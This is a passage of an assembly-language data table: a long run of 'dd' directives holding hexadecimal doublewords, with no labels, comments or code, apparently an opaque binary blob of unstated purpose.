613B0EF7h, 0B3935FF8h, 6579078Ah dd 0DCFE87Bh, 2F80EAD4h, 0D99FFF1Dh, 93F3DB5h, 515E202Ah dd 852152D0h, 831A607Fh, 3FFE22DCh, 5DBF4FA8h, 0A7C62AC9h dd 7D77F12Fh, 41F85D76h, 0A6B19CFEh, 9EAE32C3h, 0F5C441D1h dd 8A356E22h, 1813A597h, 0A557F7E2h, 5E13351Bh, 9D6DFBFFh dd 0ABFFEEDh, 8903F7E5h dd 0A4E72D03h, 0B753FE87h, 0C6179538h, 3762FB0Dh, 0FE876986h dd 66B028EBh, 0A9253646h, 828495A1h, 0C19C1F6Ch, 53333A27h dd 0ADD270EAh, 0E3D1707Eh, 0B4C9FBD2h, 75905360h, 88FD63A5h dd 99B02B9Eh, 81F3A00h, 4B418CFEh, 0E532C27Ch, 4FAB5C28h dd 3B188BC9h, 0A2BDC431h, 63F30AABh, 0AAEE0F42h, 0BB95CDEAh dd 36BE1D22h, 30BF8B98h, 74693B76h, 25954048h, 6672854Ah dd 56EAB84Dh, 4D5C55Fh, 396DB9C6h, 0F6C387F2h, 4DAE3DEFh dd 0B9B5101Ah, 0C156C2FEh, 0B050EBF4h, 343BB66h, 0F0269DDEh dd 30DE603Bh, 3B128408h, 99525DD1h, 1EDA38BEh, 0AF6421E5h dd 0B757B13Ch, 38C3A719h, 58BC5BF3h, 39EA2098h, 81A71364h dd 411FBC37h, 98A9AD95h, 46050FBCh, 0D7AA0A83h, 0B74F7AFFh dd 76134DFBh, 0C3B1C9CCh, 1CA3087Fh, 0C666D622h, 0A2E5BE5Fh dd 0B7AF8087h, 1D88CCBh, 0B9B15F8Ah, 0E426A81Ch, 0B68B3AA9h dd 0C62B8AD9h, 8AB596C9h, 23412F17h, 0BC0F56EDh, 10EBABE4h dd 0F944C0B0h, 0CEA24235h, 0A65CC0F5h, 4665B76Ah, 9FA809FEh dd 5231C9AFh, 0CE84B409h, 828191F5h, 0F29D9B9Dh, 3EAB5996h dd 2B6E4E34h, 9DC7A913h, 0F2378548h, 0A5B661C6h, 7C127790h dd 4BE5F847h, 24DEC1C7h, 72BA9B1Ah, 4C2DB7FFh, 6B75A8B1h dd 0D5CE492Ah, 7B97AD90h, 0FF2BD6E8h, 0C2E608Dh, 2D0AA13Ch dd 710C89B1h, 4C87125Bh, 0CF88A6B4h, 777E5163h, 5B452D9Bh dd 0CEFB7104h, 86C80B2h, 0A39B6285h, 8AE39CEFh, 0B5416C98h dd 49EC9CD6h, 4BD411CFh, 4239D431h, 0EAF8EB6Ah, 0C643187Eh dd 79719BEEh, 0E798D340h, 0BFF9F383h, 0E22D5765h, 0E27C5E28h dd 0A2D35AA3h, 0F082FA63h, 104D0A37h, 0DCF163C1h, 0FC2CBC7Bh dd 6FC32AFBh, 674DBF24h, 84E25E71h, 90949E24h, 0A853446Dh dd 8A1072E3h, 0F218FC2Dh, 78F17056h, 56A8766Eh, 7DED4A9Ah dd 0DD19B5C3h, 0AFDFA4C2h, 1B8E26A0h, 0AAB65555h, 6AB01AF7h dd 7F037E92h, 20498BD2h, 46AF7F06h, 0E7A2F167h, 0C290DD42h dd 8AD11379h, 21CC5DFCh, 7AD524D3h, 0E48A34D2h, 7B3B6B15h dd 0AD39BEB9h, 2AAF9D41h, 0F0C6BEF3h, 0BFA04DBBh, 0DB952538h dd 83FC4F01h, 0A2AAE0C0h, 41240811h, 6B50EB92h, 0E7B97CAFh dd 0FF86E180h, 4DCE176Fh, 6FC78FA8h, 88C5E5E6h, 2741DEDAh dd 49A2DA5Ch, 51455A2Ah, 22179A17h, 64AE2149h, 608319E5h dd 3830918Bh, 64A0D713h, 0FAD3CAEBh, 0BD0CEA3Bh, 41E074C2h dd 0AAFF10Ch, 7813602Bh, 112298F2h, 50BE4DA3h, 82A4E36Eh dd 9136235Fh, 196C7391h, 41DE730Bh, 119A20Fh, 0B3C9EE3h dd 27870C80h, 0F15574A2h, 3E452CCDh, 62F891C9h, 8C437555h dd 7EBFBFA2h, 0B7663874h, 0EF853D22h, 0E3017CB1h, 6FBD4F56h dd 1FF3D6C6h, 8AD19B31h, 28D2BBB8h, 96702FC9h, 0F81F3751h dd 0A2EEAA0Fh, 2FD73F18h, 0D534EFE9h, 9041E44h, 0B97A4EA7h dd 5E2E60Ch, 1C965941h, 6F15DC50h, 0A12E5E50h, 0BE4A17D2h dd 23999C26h, 0F1A23E2Fh, 4CFCFB1Ah, 0EB6916B8h, 70E5894h dd 8DD2EEFBh, 7BD5E092h, 0EA48259Ch, 41988F9h, 0FE860520h dd 8AF0E10Dh, 7536C6ADh, 77AFE163h, 328BCF3Dh, 220E9819h dd 0E0C356BCh, 0B986543Ch, 8D24EAA2h, 0ED33D1C8h, 0BAF4665Fh dd 0C4336F4Ch, 0F65C21C8h, 6A1E298Ch, 71A9D783h, 502C26Dh dd 1C46F1B2h, 92E4FE2Eh, 0A7955029h, 759DFB11h, 3E8FB786h dd 7F069238h, 0B28FD1ADh, 5492FCF4h, 902EFD6h, 0B3E41891h dd 38DE674Eh, 94A58F41h, 0C53F57D4h, 1D5D1240h, 22425F71h dd 7A3A4B38h, 197F008Ch, 8C78B30Fh, 0C070A68h, 0C6BE6F7Ah dd 0CB6320Eh, 8F6FED73h, 0E5E7222h, 0D18D0DC3h, 0A12B799Ch dd 0D3FA5E2Ah, 220073A0h, 1CD7E0D7h, 7C7DB576h, 0EF609C4h dd 2DD8510Eh, 5AD202A2h, 485E6B4Ah, 0A28BFD4Fh, 9443922Ch dd 6D23DAE7h, 4BFEB419h, 5F4289DAh, 2FF47A88h, 0A6F44BDEh dd 0F9D434BAh, 0D9E1200Ch, 0AEDF8E33h, 0ECA860FCh, 0E760DAA4h dd 0DB3D76DAh, 2C704CC8h, 0EBD15Dh, 0F1F550Bh, 6F9F7E87h dd 65068C17h, 9BBB9BFAh, 0C1A5515Bh, 656AB01Ah, 0D03181E9h dd 69ADBF12h, 40CCA6FFh, 0BA976B52h, 0A5209BABh, 370B1EEh dd 8411DB9Eh, 5010FCF1h, 14220687h, 8CCCBF3Dh, 680000DFh dd 0FEB5A36Ah, 0BEEDB028h, 70590E02h, 0B5D6534Ah, 95C595EBh dd 80A26E79h, 481808B0h, 8E625AA1h, 0DAFBF4Dh, 0B0DA5A02h dd 6BA991EDh, 28C6BCDDh, 1728DF9Ah, 2461AC7Fh, 241995D6h dd 8CABE108h, 20DADEB0h, 0E8CBBE15h, 0A7D17013h, 0E3EAF8C9h dd 3CBC78ABh, 0ACCC06EBh, 0EBFB4E11h, 27DF066Fh, 978A08CCh dd 2874E114h, 0BFCCE611h, 89838796h, 8A96C0FBh, 0D1888E35h dd 0B9094C10h, 0C61AD950h, 0D2EAA0E4h, 4526742Fh, 530BFFE4h dd 2CCD531h, 818B5E7Bh, 6C499BA7h, 5B468DACh, 0C9A99D04h dd 0AE8ABECAh, 0BD7F98C2h, 0ECC68D0Fh, 4ECAA1CBh, 0FD22A1FCh dd 7D0F8AC5h, 0CF03CBE2h, 0F74BA43Eh, 0EF012E1Ch, 32D6E64Eh dd 57C75C2Ch, 7D0CCE00h, 1E8656FEh, 3BD473EBh, 0A983164Ah dd 5ACF4542h, 857290Ah, 0C9871462h, 5A4DAB39h, 764BBB2h dd 93871686h, 0C0F59492h, 1ABC3896h, 82EF9963h, 894952DAh dd 6CD62C2Dh, 0F3518BBFh, 453229C0h, 0DD40AA73h, 160E2331h dd 38369138h, 8FCB244Eh, 591AA36Ch, 0B0966E42h, 885BA03Ch dd 16E996C1h, 0EE6363DAh, 0C6F455D0h, 0DB5CB953h, 4DD22924h dd 9F8AE968h, 0E96FF582h, 92E36181h, 39BC8633h, 997F08DCh dd 79AB53E5h, 0E6BBE905h, 7BC459F6h, 0D16A2BB7h, 0BB36F39Ah dd 3DA9B79Ch, 0E3D697D8h, 0FECBA697h, 0C4B3665Bh, 0A8BC7B56h dd 0D1901BF1h, 1D7956DAh, 0E74C1AF5h, 0F7CE9B45h, 0A42E7FF7h dd 28702C8Fh, 0DC7D70D9h, 0F806D8E7h, 732E1E72h, 0F7B13465h dd 5C0A5F11h, 0CCF053D9h, 0A82DB55Eh, 8EEE7C85h, 24561E49h dd 0E7607AD6h, 3F19F8AAh, 0EE8D7DF7h, 6067525Bh, 0CDAFB276h dd 3EE45CA7h, 89DF5020h, 0CA8D9B8Bh, 7181485Bh, 0BB9C8F5Fh dd 2E1B2C8h, 494E02BAh, 0A82EE8D4h, 0E11A147Ah, 0D7120B9Bh dd 56D22AFDh, 0DA9AE188h, 0D6B1BA9Ah, 0B501374Bh, 0E7628AA5h dd 0EE977EA4h, 0D0404A57h, 8A7DF1h, 4C6152F4h, 0C489036Fh dd 2E629ED8h, 3FA2E30Dh, 4AC444E1h, 0CA7FBC00h, 85F1A411h dd 792424E6h, 60DC9223h, 7ED46756h, 237E44DFh, 1518C08Eh dd 0C0D91FDh, 0F2A242B4h, 27E52CA5h, 42480174h, 73EC8789h dd 612D16F9h, 450F1C4Dh, 0F94C1F1Bh, 1675602Dh, 4CAAD380h dd 1C818F33h, 3FCFB155h, 6C58ECAAh, 6BAFA125h, 641AA808h dd 0B7CE980Fh, 7E3180CCh, 0C69D2418h, 0B8DB97E1h, 0AC2DA781h dd 51B6E542h, 14F6AEA8h, 89AF03B0h, 73B956D9h, 3F799AE2h dd 0F2D8375Dh, 0FA3470E5h, 4CF20A12h, 3B9D66A1h, 61F84F29h dd 3DB4BA7Bh, 65A16B0Bh, 217A2C86h, 47B778CFh, 0FAB55385h dd 42DFE646h, 62CFE0EAh, 0F96CAEACh, 64BFB2D6h, 0E9707EE3h dd 0AA46A48Fh, 2ADE521Ch, 0A224C06Bh, 0BB1922C0h, 470249BFh dd 0AE29D0Bh, 0BCE71E42h, 307557A4h, 938AEA3Bh, 0CFF0848Bh dd 0AF814C0Bh, 0F8B7F24Ah, 0A7950711h, 0F6464605h, 1A38BEFAh dd 8D1F2E47h, 6B2C394Dh, 1795665Fh, 9D7A2C26h, 6A3D46E9h dd 0C8402D07h, 1932C255h, 7BCA1A1Ah, 610714A2h, 85616F8Bh dd 2E6F2DB9h, 87732AFBh, 0B1370837h, 3908C9Ah, 0BAE59DDBh dd 0D5ED2073h, 0DBA2CA95h dd 0B48B1657h, 4727EB3Eh, 22A26035h, 694E5933h, 527165ACh dd 0D9232991h, 32A85B1Eh, 0D5024F0h, 527E8849h, 4C694FB5h dd 44E54429h, 0EEE8E15Bh, 4A8BF308h, 0B7CB6D06h, 68D75117h dd 0F9D8660Dh, 8F912BACh, 5DA0B4C0h, 6FEA12E2h, 95FF751Ch dd 6E53D094h, 23678A9Eh, 82304FA3h, 0C60EF932h, 0E9445F3Dh dd 0D26846A2h, 3102B585h, 0BA45A2C6h, 4019FFD2h, 0FF3D9BC6h dd 0AFA2E31Fh, 47E429D1h, 0D6E8398h, 7540BC9Ah, 2D598AB3h dd 9C18CB7Ch, 1A7E3806h, 899A7FC3h, 499F13D9h, 6DD7C8D7h dd 9ED5A0BDh, 2C3F57D8h, 0B7A76968h, 5F7D6AB3h, 4C8C570Dh dd 0B45BB9B0h, 5D517CF0h, 2E963686h, 49A802B6h, 0C4BE3576h dd 0DCAF5536h, 0FF0ADB81h, 0EAA85ED0h, 0D8EDBE7Bh, 3A31D991h dd 56840782h, 0AF46C73Dh, 0E633AD6Bh, 4AAE7A51h, 6CE9C8ECh dd 0E7E0D234h, 85823EB7h, 7CF1B5CAh, 7C1A7FBEh, 4CF1D316h dd 8FE97A43h, 7F2E0488h, 8D8115BCh, 1CA31202h, 136568E7h dd 64D5F574h, 530957E7h, 0FAB3FA50h, 7C85C59Dh, 489487FCh dd 6E938786h, 61769991h, 0B8783C4Eh, 0B16E94F5h, 5EC577D3h dd 7D1B012Ch, 866D8190h, 40CF950Ch, 0D84E998Dh, 0DD4D943Ah dd 0C23EF214h, 0E3F1939h, 42A2D9E1h, 0BE5EEA05h, 0C788C5F8h dd 0C1AE3A5Dh, 5932655Ch, 50AC47E9h, 4F809FD7h, 4A62E354h dd 35CB3664h, 43B0EE1Dh, 175EE561h, 2E25C17Fh, 0E399C069h dd 0F747412Bh, 6933BDD4h, 6F566647h, 6CD61A54h, 0DFC0D322h dd 0DFCED90Bh, 6F010991h, 3AD722C2h, 2E3C963Dh, 7E4AAF73h dd 0E99D719Bh, 214B31E3h, 0AEA6B201h, 0DA68E01h, 19CC72Eh dd 81A40BF3h, 0FA4B91Ch, 5E8FF2C2h, 0EB12B6F0h, 0F0FABF4Dh dd 0B0F0B0BEh, 0AA374640h, 102EDDEFh, 723225E3h, 0DC5BBD14h dd 83475BBAh, 9DAB1683h, 0CD340D1Bh, 2AD54348h, 0D3B4580Fh dd 6D8EF543h, 3E9F52D0h, 0FA1EF6Ch, 0FECBDB77h, 0E614A426h dd 316A6B23h, 0ED3521CFh, 1365EBFAh, 9470A341h, 0E77553B2h dd 0CCB6D225h, 79E9A3B1h, 0B1B6F0B7h, 352E2794h, 1D6319Ah dd 6BC1183Ch, 0E2EAF3C9h, 0F80FA318h, 89BFB067h, 696BD53Ah dd 0ACF1046Eh, 31FFC48Bh, 896206B8h, 58E9F783h, 49AE707h dd 9D1D8B2Eh, 9D8D2414h, 6CCFC2ACh, 0E7AB4C67h, 0C76AF3BFh dd 1D42B7Eh, 31E150C6h, 0C477B9DCh, 0E08E5EBAh, 0AA7FCB53h dd 0EBFE5B88h, 891D2A9Eh, 0B220A14Eh, 0D890CA68h, 8C2FF5C0h dd 36998EB7h, 591C8819h, 0D795EC72h, 0A3127AA6h, 0EBBC1EFh dd 16798036h, 10999549h, 7727EE8Fh, 789EADC7h, 382CBC5Ch dd 1249F940h, 82AFEE3Dh, 0A6AEF316h, 1184C5B1h, 0BE59DA37h dd 4CEB9396h, 971B73FFh, 19674D8Bh, 0BAB579A0h, 2D67C564h dd 0DB739A8Ch, 1F7B7BA4h, 110D5199h, 1D5F1014h, 2CBDD73Ch dd 0AECD4B5Fh, 0BB8321Eh, 77C5001h, 0C34AE3A7h, 21D05D39h dd 5D1D9780h, 7A0560B5h, 534A1A30h, 0A53E0229h, 0B86DECAEh dd 55D68B14h, 0ECD47B65h, 15EF0A75h, 0CFBA297Ah, 811F0667h dd 114E8FBFh, 54EAC8F3h, 6EB9688h, 0CF7ABA20h, 9ABCBB1Dh dd 9DBB7316h, 0BC565567h, 8BB28DFAh, 9A0F4429h, 4751BB07h dd 98F249E9h, 0F6DB2A41h, 0F1785FF9h, 0D2C4D2C2h, 5BDF7B73h dd 0D3B03ADh, 0B5EEFADDh, 0FE0C8C15h, 0E336CB1Bh, 0C0BA9888h dd 0A97BCE60h, 9E9211B9h, 0B93C0219h, 527F3A52h, 44AA2FF7h dd 1563FC11h, 420733A0h, 1FB70CFDh, 0B5482E54h, 2A7657A9h dd 0A018E55Fh, 750A92E8h, 0ECFD7BF0h, 9FED7BCEh, 0A9CCFD55h dd 0EB725CBBh, 0DD3E69Ch, 0E67C2BB6h, 5B4907F8h, 469CC421h dd 764DA593h, 38FE7533h, 0E0D16F42h, 0FB7A1731h, 1CCF7CFh dd 6ED028CCh, 5111C8Ch, 41EF692Bh, 7EF0BCEEh, 89D973BCh dd 2626451Ah, 692C0509h, 0F648C9DDh, 0FD63FC40h, 0AEFD4B42h dd 5FDB9C13h, 11221F99h, 7CF84C0Fh, 5B31F9BAh, 0FF556CA0h dd 7E854784h, 89A6DCB3h, 7997FC39h, 0D37C902Fh, 0AF6659B5h dd 98C9696Ch, 0B17129A3h, 0DE8705CAh, 3D539983h, 0FEBD9828h dd 617E3528h, 0F1A364AFh, 5B1D4AC4h, 3754745Eh, 4AF25D52h dd 0F5EBFAE9h, 6D0631DAh, 0B9714E50h, 0C13767C5h, 8A949E1Eh dd 0AF08BAE5h, 5CFE2A8Ah, 0FBD5FEBDh, 0CA5F28h, 0E358E730h dd 0DF52D873h, 50A75DCh, 3FE6DD29h, 0B9359912h, 0D02E907Ah dd 56D46718h, 0DE7D8F71h, 2C132A1Eh, 0C4FB70D5h, 675634D9h dd 0E9107FA1h, 6E8F123Bh, 8C54B020h, 0DF969727h, 77420317h dd 0EE537784h, 65695D8Ch, 0E82F2011h, 0CC649F74h, 0A289CA62h dd 0DCF6F679h, 0E2F6F1A6h, 4BFA4153h, 4D1FD658h, 0D2A61481h dd 0FA946B61h, 5A17AD3Fh, 8E501F22h, 932AE1F0h, 801DAF2Fh dd 21E1F4FDh, 89B4B00Bh, 383B812Ch, 1B2F52A2h, 14BBF360h dd 1C5F8CECh, 172CC070h, 4ADB0538h, 0F9953EA8h, 94D24BADh dd 0AB383541h, 33C7ACDh, 3E2291BAh, 30A070FDh, 0A682C960h dd 2DD508E5h, 6C317AF2h, 4BCDAAB6h, 770CA77Dh, 0CA5C61FCh dd 0C7AD1356h, 0A52A47BCh, 433B3BD8h, 21DB905Fh, 0B8570289h dd 675AF781h, 6B1C81C0h, 74047954h, 0C694E629h, 0B69B0A3Eh dd 0A7908B4h, 0F9F6902Ch, 0A9CA678Ch, 548BF71Ch, 4AD43ABFh dd 0A1FC49Ch, 8568CE3Eh, 919B12CBh, 227AE5C3h, 914F1BB8h dd 46F73761h, 18A685A6h, 0D14BC908h, 2268FB81h, 31DC6FAh dd 0F75F6B75h, 62CFAB56h, 0A2DEA565h, 480DBA6h, 0AD3A24EFh dd 0AC2F08B8h, 2FE4F40Bh, 7848C42Dh, 0FDD539D1h, 23EED8E8h dd 57CF608Bh, 6465934Ch, 174C5EC8h, 0C6879021h, 0D27B37F1h dd 0A98617B3h, 72AF7291h, 0A549625Bh, 0BDD914F0h, 71597BFAh dd 0B0BEBFF1h, 32EDC99Eh, 4910EDC8h, 6F3EECE1h, 0D2467E00h dd 0AAF2E3BBh, 5C752D48h, 0F9EB1B6Ch, 644D4BE0h, 69BF077Ch dd 8A3B537Ah, 690998E4h, 0E7B37D99h, 7081A3F9h, 22A40863h dd 62FFE9D7h, 0C6D0FB6Ch, 0AC91F898h, 0CF0C00E7h, 62BCD0ACh dd 0C7C5B45Eh, 298ECDD9h, 3ADFDE83h, 60F9A1B0h, 0F3195CFCh dd 92AB6AF9h, 0BA9C1419h, 65BFD8BDh, 35293A44h, 0E27A63C8h dd 0FA064A21h, 76E86ACh, 8EA92216h, 6B6F0E8h, 0BCB2EBFCh dd 0E5C7AFBEh, 0D078F7AAh, 59F84DDCh, 32DB4146h, 180C2CD6h dd 0A749C371h, 996C833Fh, 0C66FAB5Ah, 6A351AC7h, 0B2102FBEh dd 334F2010h, 3B163420h, 0CD38B5B2h, 1D8C62E7h, 64D6A081h dd 995F2721h, 0F9B8C4F9h, 0B4E12D0h, 0A75DF22Bh, 0E760E11Eh dd 1EAD0C1Eh, 0BF08FF30h, 63C3DA01h, 13F16B5Eh, 608498DBh dd 4C55E306h, 4BB90636h, 0F8F17872h, 0E78C9E90h, 5D3C3C2Ah dd 70EA03F0h, 0C8FA69F4h, 7942E906h, 6D3DA89Ch, 0C6CFD73Bh dd 0C46E379h, 9EDDAF4Bh, 7748FEh, 9C0CC389h, 0E0B163DBh dd 58E7F9F5h, 868188D2h, 5C7D52F7h, 513A5409h, 8A989DEh dd 7F3D489Ch, 2625B4B8h, 67AED41Eh, 0E29C11F2h, 187E6067h dd 1B8BCE95h, 3D76B2E5h, 0C7827F08h, 5C2DB6FCh, 1D3D9643h dd 0F57CE96Bh, 0CE6AF9C9h, 6F1AFE1Bh, 0E156DCDFh, 5EB63912h dd 4EC06007h, 0B4B3F05Dh, 559EAD08h, 481D3C90h, 10221A38h dd 0E428252Eh, 6200EE62h, 10AE234Dh, 58203106h, 20255117h dd 6D9BB7BFh, 344C1F9Dh, 7A9D865Fh, 0F41EE9C7h, 4C204Ch dd 79A1BA6Fh, 0AADEC1C2h, 4A119444h, 0ED932B89h, 0A68BCF5Eh dd 0FC8C302Fh, 0BD19676Ch, 5D615853h, 0DBD953E3h, 2D29B5F0h dd 9F03D45Dh, 2142C027h dd 24BC3FBAh, 0F87910FEh, 6CF6E7F5h, 819248C5h, 6C31C2Eh dd 0AE693AEAh, 0FF52908Eh, 0C0F91EE9h, 2A7B44C8h, 3036544Dh dd 0E02A8CA6h, 8FF2F2EFh, 40EE6E9h, 0ACEA8998h, 0A237C702h dd 0DE4FE509h, 0A93AA163h, 17E1282Eh, 0E242CECAh, 29AC93F9h dd 646D58A5h, 97419508h, 6D817D5Ch, 0A024A674h, 0B3769E2Fh dd 935E2FDCh, 8B18785Fh, 7A807252h, 364FB630h, 9EB7A9B1h dd 19D19775h, 8DBA08DEh, 6698A553h, 8E0D694Eh, 0BD2FFD69h dd 0C6421EA3h, 0D9E9AF9Bh, 260AAD14h, 9D3A66C8h, 1F2692E0h dd 0C47B065Bh, 23FC7B2Bh, 1F60D82Dh, 2CD11C0Ah, 782B0F10h dd 0D28B1677h, 0EE7DDC46h, 32927A02h, 4C716751h, 46C76C6Dh dd 0AFECE5F7h, 0B3B1CCBBh, 4E88D17Eh, 2D407C18h, 4E6F91EDh dd 1F3729D9h, 6283748Fh, 3D395EAFh, 1D0672DCh, 0A97F77D2h dd 0D712A60Bh, 94708CFBh, 1CCF695Eh, 0B21EA6FAh, 70A70BD4h dd 0D768E238h, 0BE77FDADh, 578FA5F3h, 90E4573h, 3D425F82h dd 9791A40Eh, 23A8F5DEh, 0CF1B61B1h, 0A1F84974h, 85D37344h dd 0C09E638Fh, 811AA8DBh, 60E580D7h, 35FBCAD2h, 0B5E7E5B9h dd 0EEAEAFA3h, 0B8B5F21Ch, 25847362h, 9A630A6Dh, 70C999A2h dd 0FC059A60h, 1E7FD420h, 6BD548A9h, 0DE4346FCh, 0C9583FD4h dd 0ADC038CFh, 0A1B66881h, 0DABEDF17h, 3AEA870Ch, 8A834996h dd 1A096E34h, 94E5A1F1h, 28A2CB00h, 9A50BFFh, 0CC3C272Fh dd 853BAD73h, 4205A208h, 140ECDADh, 234465F3h, 78BFB4F3h dd 0AAC23135h, 0AC5B79h, 64A8CDCCh, 6DA5ADDAh, 0A08F05E8h dd 4E5293F6h, 8285D697h, 74982BB0h, 80C64AD3h, 0D1DB74F7h dd 0B610D5EEh, 6DF266C7h, 98797B7Fh, 0BFBC49C1h, 0AD1A731Eh dd 0DD276968h, 201CD1F9h, 651D7B68h, 0B75AB492h, 152E8C22h dd 0E7F2903Fh, 22BFD4ABh, 32C17597h, 0E36596BEh, 4F479D11h dd 3964A26Ah, 0A80FA316h, 340B2C97h, 0B5F4FD12h, 68D95295h dd 286D2C38h, 9FCAB1CFh, 0AD962BA8h, 92668E2Dh, 45101787h dd 6E0A62F4h, 0F9654D96h, 0EB90C750h, 0F6AF4A86h, 0E717F970h dd 5D4CAF44h, 2FE5E0B5h, 0AFB90B2Ch, 6A28EFC2h, 0A4D0CA4Fh dd 234766B9h, 5BEBEAB5h, 0CBC055FAh, 91FA5ACh, 0DB8928C4h dd 0FCEF57BEh, 0DCBB846Fh, 889EB215h, 0F4B668ECh, 8BD4B648h dd 989E2386h, 5F265C0Ah, 0CBE6CD2Ah, 11B2D801h, 0F92005B7h dd 5A256CB7h, 0F8B84AF0h, 35F16B1h, 3378D039h, 2B86B80Ch dd 969AD031h, 7CEC1A1Eh, 0F62F1474h, 19B3490Eh, 0DF352EF5h dd 27351ABCh, 845FAFA8h, 76F2F6B4h, 9E4CF9EBh, 7FFB6B49h dd 0E40D7C35h, 0BB101F4Dh, 0C0E49C95h, 1A33FE84h, 18328639h dd 85E78448h, 3436D483h, 111785A4h, 65E2F551h, 660F7ACEh dd 997DE55Fh, 6C1A755Ch, 19D5AB1Ah, 277700F0h, 0D740465Bh dd 0FE827752h, 0FFE03D16h, 2390ACBFh, 753EB189h, 0F6F0F740h dd 59C11989h, 0BA82F3F9h, 0BAC934D8h, 60672C1Eh, 9F7F1569h dd 22D7BFBDh, 132E2B1Eh, 3AF122CDh, 43203C8Ch, 385E3BE0h dd 0CD0AE48Ch, 0E2AEA533h, 8EF592CFh, 0CA487E93h, 98BCF2DFh dd 0B0799646h, 0D577A8E6h, 0D4B416A1h, 2123940Ch, 56B92350h dd 0E792ABE6h, 0B2B51922h, 6DCF6892h, 0B108434Eh, 0CBFF7FD7h dd 5885F191h, 7F7568A5h, 9FCE7F3h, 0C1B7689h, 14CB4DACh dd 4A404B0Fh, 0F84134Ch, 0A4103625h, 3B19C135h, 64ED0C3Dh dd 21BD8E1Bh, 6290C401h, 8DF3DEE3h, 0D588DCB2h, 771BB296h dd 3419EBA5h, 0F0197A4Dh, 0EDE46E9h, 3DAF6359h, 0FC0E6D12h dd 22BCF18Fh, 0A5EA135Ah, 78985902h, 0DDFFDCD1h, 2C9CF472h dd 0D1071C1Eh, 23A649EAh, 2065834Ah, 74243777h, 0AD88287Ah dd 0BF467651h, 0FDC42BECh, 0CD058CFDh, 74E4E50h, 0C5A08268h dd 78B1F6A5h, 35C835DFh, 81EB9Eh, 8D71BD25h, 2A8454A3h dd 65D9BF5Bh, 0E4141148h, 0E288D24Ah, 44483A0h, 0B477CE73h dd 0B0735A57h, 0E9430FE1h, 89ADBD72h, 68950B47h, 0A9BDB85Dh dd 0AD7C71AEh, 0E1584685h, 0F06AD63Fh, 5C1C172Eh, 5E3BCF8h dd 8C7E286Bh, 38B05292h, 0F1BA6C56h, 0C764749Bh, 95B38FE9h dd 0D8890EEFh, 322A6422h, 6C28A7E0h, 332D7278h, 5D886156h dd 0FBDC83F1h, 15BF8528h, 0EDCC4E6Dh, 7DD64AF0h, 362F1645h dd 43715F5Ch, 8A95F9FFh, 889B618Ch, 21C6D745h, 90164ABBh dd 8625D48Dh, 407DC08Ch, 0E723998Eh, 1C199507h, 0A9AED0ABh dd 155172B1h, 527D780Dh, 2C117A91h, 0D161D951h, 0E2657E94h dd 98AED3A0h, 0EC1EFC3Ch, 35859849h, 599E9685h, 1FA8F29Fh dd 98537BE3h, 203A274h, 810322CEh, 4A8F742Eh, 6B3B173Ch dd 99FE5045h, 0A6978FC5h, 9B02448Eh, 0D2714314h, 0E9EB8CACh dd 0AB5BA5B7h, 0E58E4314h, 0B9A8FC80h, 3939F5AAh, 0C5CB9940h dd 0BCCA7BCEh, 0DEB14F36h, 0BB476A3Fh, 0FD4260A1h, 0B32EA364h dd 0C952A2F8h, 1BB58224h, 504DA5E1h, 22E2E754h, 857C61D1h dd 724CE26h, 8F2CF2ECh, 0D40DAF7Fh, 8A3FC333h, 4275B9CAh dd 7C7BC883h, 0EB69ECC2h, 0A05F7A12h, 7CCD3F7Dh, 99F70B71h dd 4B18568Ah, 6B4020D1h, 1A67FCA7h, 0A976BB30h, 98851EA0h dd 2B95020Ch, 64FE0899h, 954932D0h, 0F8212F09h, 761BF750h dd 0F18A9F31h, 6DEE6C52h, 0C198CCFEh, 3EF2DDDAh, 0D0554AB5h dd 523E63C7h, 3F5C430Bh, 0F7188035h, 9106F4D0h, 3AC1059Eh dd 5F42A150h, 0ABA1E0F6h, 31DBF5A6h, 76ECF975h, 70C2165Bh dd 250B778Bh, 0C8DA3A4Fh, 7951D83h, 0CF2EC97Dh, 60307F83h dd 8E5AC7DCh, 3A54D6Ah, 0E96AE3A9h, 129844E4h, 46F90360h dd 0B2486252h, 0C007134Bh, 0C6791967h, 0D2862C5Fh, 0F9650185h dd 0DAF8EDBEh, 3CF98F25h, 0C732F283h, 0EA70898Eh, 0C1EF1959h dd 17734598h, 31111B33h, 0CDEC9388h, 70B3E011h, 3E4FCE8Dh dd 9E1CA0BCh, 0ECC4E7EDh, 6A8CEDEAh, 0D1C3F9C1h, 0B219DF26h dd 0BF0C0AF0h, 9DAA2ECEh, 0A3E80A7Fh, 0C7B1CD5Dh, 6BD7D94Ch dd 0E3537871h, 0B6BB680h, 244951E1h, 0B6663B11h, 0C341F654h dd 423188C6h, 2D1DB5FAh, 8AEA893Eh, 69DA988Eh, 0CD5E17FBh dd 0E9B7F5CCh, 0E55149ADh, 22FAFF3Eh, 0DF96F6A4h, 3E4530D5h dd 2D9C4361h, 94627474h, 0E1A58099h, 199EE25Ah, 0EC1555EEh dd 473C5E57h, 857F13C5h, 5D6C40h, 0BD9197A2h, 587DEC4h dd 3367835Dh, 99DF605Ah, 12F8A40Eh, 3880EF75h, 0C92543D9h dd 873B8211h, 8E43758Eh, 0EB7F54E6h, 74160F0Eh, 0A1674F22h dd 0D69EF54Eh, 0DDB92E0Fh, 8E2812C6h, 9276174Dh, 0AF48A046h dd 0FBE42885h, 5381E330h, 40D9FB31h, 861F86B7h, 3A34313Ah dd 0FEF92577h, 168BBBB0h, 7A5A83DAh, 20C11D0h, 0E070A899h dd 38D85E53h, 0FEB1D5E6h, 0FBF684F3h, 51E2A783h, 5242C85Ch dd 0B24A132Eh, 0F1BA5EECh, 4A1DABFDh, 0D7235CF8h, 13BFA3BBh dd 3B62AA5Fh, 0DDBB44F1h, 5EC54380h, 637D1BDCh, 183BEEF7h dd 1F26C206h, 0B8CFCF28h, 9C8E3098h, 2F36428Bh, 0A6E5C0A2h dd 0ED68B225h, 0AA89D5F0h, 8356347Bh, 85142E9Ah, 0AB001293h dd 6C0787F9h, 8254CEA8h, 8ADDC70Ch, 6F9558E5h, 0BEB1CA52h dd 0C7CBFB8Ch, 91599434h, 0E54A3728h, 0F14682C9h, 0B0292BC0h dd 0E95873FEh, 6A5435A2h, 0CF292BCEh, 143E14C7h, 0DB610792h dd 0A57D3667h, 8D7B71B8h, 4FA78967h, 8CD1EC3Eh, 21A6C5F4h dd 0EDC2727Fh, 76B2190Ch, 2965BA81h, 0AF493B08h, 0E84AA02Fh dd 594B9912h, 6C7222CAh dd 3EEFCC52h, 0C8A943D6h, 9E1CBC81h, 0FBC8269Fh, 0DDFE31C5h dd 0BD9F01CBh, 8A60FE25h, 767D0F29h, 